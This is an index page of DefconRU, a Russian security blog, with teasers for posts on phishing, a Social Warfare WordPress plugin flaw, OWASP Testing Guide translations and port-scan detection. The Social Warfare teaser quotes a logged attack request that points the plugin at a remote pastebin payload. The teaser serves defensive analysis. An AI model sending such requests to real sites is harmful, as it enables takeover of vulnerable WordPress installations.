DefconRU | Сообщество специалистов в области информационной безопасности.

29.04.2019 @ 13:59 Фишинг: социальная инженерия через почту

Некоторое время назад на корпоративную почту пришло письмо. Оно содержало информацию о том, что закончился срок регистрации домена и необходимо произвести оплату.
Читать далее Фишинг: социальная инженерия через почту →

03.04.2019 @ 13:30 Как мы обнаружили RCE, пытаясь воспроизвести XSS в Social Warfare

Pentestit, RCE, Social Warfare, XSS

Статья носит информационный характер. Не нарушайте законодательство.

Некоторое время назад WAF зафиксировал атаку, которая имела следующий вид:
https://defcon.ru/wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://pastebin.com/raw/0yJzqbYf

Из открытых источников мы узнали, что атака представляла собой попытку эксплуатации хранимой XSS уязвимости в Social Warfare — популярном WordpPress-плагине, установленном более чем на 70000 сайтов. Это показалось интересным и мы решили разобраться в уязвимости более детально.

Читать далее Как мы обнаружили RCE, пытаясь воспроизвести XSS в Social Warfare →

07.12.2017 @ 11:36 Перевод OWASP Testing Guide. Часть 3.9.

owasp, web security

Представляю вашему вниманию очередную часть перевода OWASP Testing Guide. В данной статье речь пойдет о сохранении паролей.

Предыдущие статьи

Читать далее Перевод OWASP Testing Guide. Часть 3.9. →

26.07.2017 @ 14:13 Перевод OWASP Testing Guide. Часть 3.8.

owasp, web security

Представляю вашему вниманию очередную часть перевода OWASP Testing Guide. В данной статье речь пойдет об обходе аутентификации.

Предыдущие статьи

Читать далее Перевод OWASP Testing Guide. Часть 3.8. →

29.06.2017 @ 10:41 Перевод OWASP Testing Guide. Часть 3.7.

owasp, web security

Представляю вашему вниманию очередную часть перевода OWASP Testing Guide. В данной статье речь пойдет о механизме блокировки учетных записей.

Предыдущие статьи

Читать далее Перевод OWASP Testing Guide. Часть 3.7. →

22.06.2017 @ 12:05 Перевод OWASP Testing Guide. Часть 3.6.

owasp, web security

Представляю вашему вниманию очередную часть перевода OWASP Testing Guide. В данной статье речь пойдет о учетных данных по умолчанию.

Предыдущие статьи

Читать далее Перевод OWASP Testing Guide. Часть 3.6. →

06.06.2017 @ 10:56 Перевод OWASP Testing Guide. Часть 3.5.

owasp, web security

Представляю вашему вниманию очередную часть перевода OWASP Testing Guide. В данной статье речь пойдет о передаче пользовательских данных.

Предыдущие статьи

Читать далее Перевод OWASP Testing Guide. Часть 3.5. →

10.05.2017 @ 16:58 The Bug Hunters Methodology. Часть 2, 3.

bug-bounty, bug-hunter, Methodology, pentest, web security

The Bug Hunters Methodology: обнаружение цели и о составление карты архитектуры веб-приложения.

Предыдущие статьи:

Философия

Читать далее The Bug Hunters Methodology. Часть 2, 3. →

12.04.2017 @ 18:40 Port Scan Attack Detector (PSAD)

ids, IPS, psad

PSAD — представляет собой набор из трех легких системных демонов, которые работают на Linux и анализируют логи iptables для обнаружения сканирования портов и наличие подозрительного трафика.

Читать далее Port Scan Attack Detector (PSAD) →

27.02.2017 @ 14:13 Аудит Web-приложения – систематизируем тестирование

Methodology, pentest, web security

В предыдущей статье я рассмотрел методологию тестирования Web-приложения. Она не является обязательным стандартом, но поможет вам не пропустить уязвимости в больших проектах. Теперь я подробнее опишу каждый из этапов.

Читать далее Аудит Web-приложения – систематизируем тестирование →

Privacy Overview

This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.

Necessary

Always Enabled

Necessary cookies are absolutely essential for the website to function properly. These cookies ensure basic functionalities and security features of the website, anonymously.

Cookie	Duration	Description
cookielawinfo-checkbox-analytics	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics".
cookielawinfo-checkbox-functional	11 months	The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional".
cookielawinfo-checkbox-necessary	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary".
cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other.
cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".
viewed_cookie_policy	11 months	The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.

Functional

Performance

Analytics

Others